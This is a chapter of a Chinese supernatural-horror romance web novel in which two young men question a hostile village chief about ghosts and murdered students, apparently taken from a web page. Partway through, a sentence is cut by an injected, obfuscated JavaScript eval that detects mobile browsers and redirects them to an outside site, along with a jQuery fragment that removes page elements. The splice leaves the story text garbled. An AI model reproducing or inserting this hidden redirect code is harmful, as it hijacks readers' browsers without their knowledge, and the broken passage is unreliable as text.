黎向辞此时仿佛能看到嵇无樾身后有一条尾巴在兴奋地左右摇晃,就像一只等待抚摸的小狗。 他若有所思地停顿几秒,伸出手拍了拍嵇无樾的胳膊,“好样的。”然后转身就往院子里走。 “就没了?!你这个撩硬了就跑的负心汉!!” 身后不出意料地传来嵇无樾憋闷的喊声,黎向辞忍不住扬起唇角轻笑一声,继而折返回去,“别嚎了,万一被村长听见了怎么办?” 嵇无樾偏过头不看他,“听不见,他在后院住。” 黎向辞强行把他的脑袋掰正,忍俊不禁地用手轻拍了两下他的脸,“好了,把你知道的都告诉我。” 嵇无樾垂眸用眼神将黎向辞的五官仔细描摹了一遍,最后毫无意外地停在了他的嘴唇上。 “你亲我一下,我就告诉你。” 20. C-伊萨村庄(含入v公告) 倏地起了一阵冷风,黎向辞眯了眯眼,刚想后退,却被嵇无樾揽住腰强行锢在了怀里。 黎向辞也没动,就只是抬眼盯着他看,“干什么?” “我什么都让着你,怎么连亲一个都不行,真小气。”嵇无樾一只手按着黎向辞的后脑勺往前压,歪着头轻啄几下他的唇角,在尝到那片柔软的滋味后,忍不住勾起嘴角:“你这次怎么这么乖,不怕我真把你吃了?” “因为我觉得你不敢对我做什么。”黎向辞轻而易举地从他怀里挣脱出来,“说到底,咱们两个力量相当,你硬来的话是占不到便宜的。” 嵇无樾举起一只手:“那上次……” “……上次是你趁人之危,以后不会再发生了。”黎向辞木着脸把他的手打下去,催促道:“快说,别浪费时间。” “伊萨村庄的村长叫林淏,在家里排行老三,我是他已经去世的亲哥哥的儿子——也就是他的侄子,自小性格张扬跋扈,在村子里很不受欢迎,但那些村民又碍于我的身份只能忍气吞声。”嵇无樾双手环胸叹了口气,“这还是我绑了一个村民,把他按在凳子上挠了半个小时的脚心才套出来的话,居然就这么告诉你了,唉,我真是个不可多得的好男人。” 黎向辞垂眼盯着他的手:“……” “喂,我用鸡毛掸子挠的,你想什么呢。”嵇无樾被气笑了,“你以为我是傻子啊,用手。” “也差不多了。”黎向辞说着说着忽然顿了下,一股异样的感觉缓慢爬上脊背。 他扭头,正对上窗户后那对阴冷的双眸,胳膊上霎时间起了一层鸡皮疙瘩。 那双眸子带给人的感觉很奇怪,不仅死气沉沉的,还看不出一丁点活人气息,如果不是看到那人动了,黎向辞还以为又是因为自己现在特殊的身份招过来的鬼魂——就像冉春那样。 嵇无樾同样发现了那双眼睛,脸上瞬间换上讨好的笑,“三叔。” 黎向辞眉梢一跳,原来这个就是林淏,比他想象中的要年轻,不过看起来有些疲惫,像是被人抽了精气一样。 “到了就快点过来,在门口磨蹭什么。”林淏这话明显是在回复嵇无樾,但是眼神却一直放在黎向辞身上,并且带着浓浓的敌意。 果然是平等地讨厌每一个外来客。 黎向辞冲他笑着颔首,说:“这就来。” 两人并排走到后院,映入眼帘的就是一棵高大的洋槐树,上面躺着几只皮肤溜光水滑的猴子,正在悠闲自得地睡觉。 怪不得刚到村子的时候隐约听见了猴叫声,还以为是后山的野猴子,原来是林淏养在自家院子里的。 “别乱看,它们不喜欢被外人这么盯着。”林淏严厉的声音从身后响起,“除非你不想要自己这张脸了。” 话落,树上的猴子随之醒了,正眼神凶狠地瞪着他,仿佛下一秒就会跳下来扑到他身上乱抓乱咬。 “明白了。”黎向辞收回目光,身体微微一侧做了个“请”的动作,“您先走。” 林淏冷哼一声,高傲地双手背后绕过他进了屋,“进来吧。” 余光突然瞥见一个姿势诡异的人影,黎向辞朝来时的方向看去,发现是不远处正在笨拙地向他们走过来冉春。 树上的猴子见状也不敢龇牙咧嘴了,都瑟缩着躲了起来。 “喜欢猴子舌头吗?”黎向辞问。 冉春苍老发胀的脸上露出了嫌恶的表情。 黎向辞扫了一眼树上正害怕地露出一只眼睛打量他的猴子,说:“那就先放过你们了。” 那只猴子弱弱叫了两声,一溜烟钻进树叶后面不见了。 嵇无樾全程目睹了黎向辞的奇怪举动,但是又觉得他不会莫名其妙自言自语,忍不住问:“你在跟谁说话?” “冉春。”黎向辞说。 嵇无樾:“?” 嵇无樾:“她已经强到进化成空气了吗?这么牛逼?” 冉春:“……” “闭嘴吧你。”黎向辞忍无可忍揪着他的耳朵进了屋子。 前脚刚跨进屋子,黎向辞就被挂在堂屋正中央的方镜吓了一跳。 方镜周围还贴了一圈类似符纸的黄色纸条,正好将每一个进门的人的脸圈在中间,任谁都会被吓到。 镜子对着门会招来邪祟,但符咒又是驱邪的,黎向辞一时间分不清林淏这么做的目的。 不会是钓鱼执法吧? “你不觉得这样很像遗照吗?”嵇无樾悄声说,“镜子是相框,周围那一圈是花环。” 被嵇无樾这么一提,黎向辞也开始觉得像了,加快脚步离开了镜子能照到的范围。 “随便坐。”林淏说。 两人紧挨着在他前面坐下了。 “亦沁可是向我打了保票,说你一定能解决村子里的麻烦,我倒要看看你有多大能耐。”林淏开门见山,“说说吧,你在那辆车上看到什么了?” “一个老妇人。”黎向辞说,“说具体点就是,一个出了车祸,然后被扔进水里毁尸灭迹的老妇人。” 不管对不对,反正他是在车前看到的冉春,没有人可以质疑他撒谎。 但是显然他说对了,因为林淏的脸色在听到“老妇人”三个字的时候明显沉下去了,并且表情越来越不自然。 “我就知道是她。”他直勾勾瞪着黎向辞,凶恶的眼神仿佛要把他拆吞入腹,“所以你的办法呢?别告诉我无解!” 他根本就不知道问题出在哪,哪里来的解决办法。 黎向辞说:“办法当然有,但是我需要时间。” “可以,五天后盛典开始前解决。”林淏冷道,“不然你的下场就会跟那些女人一样。” 那些女人?什么女人? 黎向辞蹙了下眉,刚想说些什么,里屋忽然传来一声“咚”,他下意识想透过屋门上的小窗户往里看,却被没来由暴怒的林淏给呵止了。 “妈的,滚滚滚,都滚!”林淏起身把两人往外赶,“去门口把牌子立起来,没我的命令不允许任何人靠近我的院子!” 这次会面就这样结束了,黎向辞和嵇无樾被连推带踹轰了出去,直到走到门口还没缓过来劲儿。 不过好在离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716947|157160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开前,黎向辞极小声地对好不容易走到后院的冉春说了句“留下来盯着,小心镜子”,也不知道她听没听见。 “村长刚刚说什么牌子?”黎向辞一头雾水,“他一直都这么喜怒无常吗?” “你还真把我当他侄子了,他以前什么样我怎么知道。”嵇无樾说着从角落的草垛里拿出一个木牌立在院子门口,“他说的应该是这个,我昨天无意间发现的。” 黎向辞走过去,看见牌子上标标准准刻着“正在处理急事,勿扰”几个大字。 看样子应该是拿对了。 “对了,你不是说还知道一个村子里的秘密吗?”黎向辞问,“是什么?” “你应该也看出来了,这个村子里的人都特别迷信。”嵇无樾说,“据我了解到的,好像是因为前几年这群村民合伙杀死了几个迷路的女大学生,然后把尸体随意扔在了后山的密林里,由于太心虚才变成这样的。” “只是心虚吗?”黎向辞说,“我看这个村子里是真的闹鬼。” “但是不相信有鬼的村民还是占大多数的,昨天晚上你敲门不是还有热心村民给你开门吗?这就说明不是所有人都害怕冤魂。”嵇无樾说。 黎向辞:“?”他拧眉:“你昨天晚上……” “哎呀宝贝,这不是怕你一个人走夜路害怕嘛,所以就偷偷跟在后面了。”嵇无樾笑脸盈盈地凑上来顶了下他的肩膀,“别误会,绝对不是因为想看你湿身,更不是想找机会溜进你的房间跟你同床共枕哦。” 谁知道那门是从里面插上的,没有锁也撬不开,害他白白在大雨里浪费了十分钟睡觉时间。 黎向辞扯出一个毫无感情色彩的笑:“没关系,如果你真的进屋子了,我会立马让你知道被迎头痛击是什么感觉。” 话音刚落,一个村民忽然着急忙慌地跑了过来,直直地往院子里面冲:“村、村长!后山出事了!” 嵇无樾伸长一只胳膊拦住他,不耐烦地敲了敲身旁的木牌,“不识字吗?” 村民喘着粗气摇摇头。 嵇无樾把木牌举起来,指着上面的字说:“‘有事找我侄子,勿扰’,听懂了吗?” 反正村长侄子跟村长关系很亲近,谁去解决问题都一样。 村民猛点几下头,随即又转身跑在了最前面,“那你快跟我去一趟后山,有具挂起来的尸体不见了!” 黎向辞和嵇无樾对视一眼,快步跟了上去。 去往后山的路他们在外面的时候走过,期间还路过了那个刻着“后山禁地”的石碑,只不过还没有被严重磨损。 被带着往前拐进一条左侧是斜坡的狭窄小道,黎向辞的心脏又倏地一阵刺痛,他下意识抓住了一旁嵇无樾的胳膊。 “有东西要来了。” “什么?”嵇无樾看见他难受的满头是汗,于是伸手把他揽在了怀里,“你怎么了?” 黎向辞晃了晃有些发晕的脑袋,强撑着直起腰,一抬头,眼前蓦然闪过一张惨白可怖的脸。 下一秒,他毫无防备地被人用力一推,直直往斜坡方向倒了下去——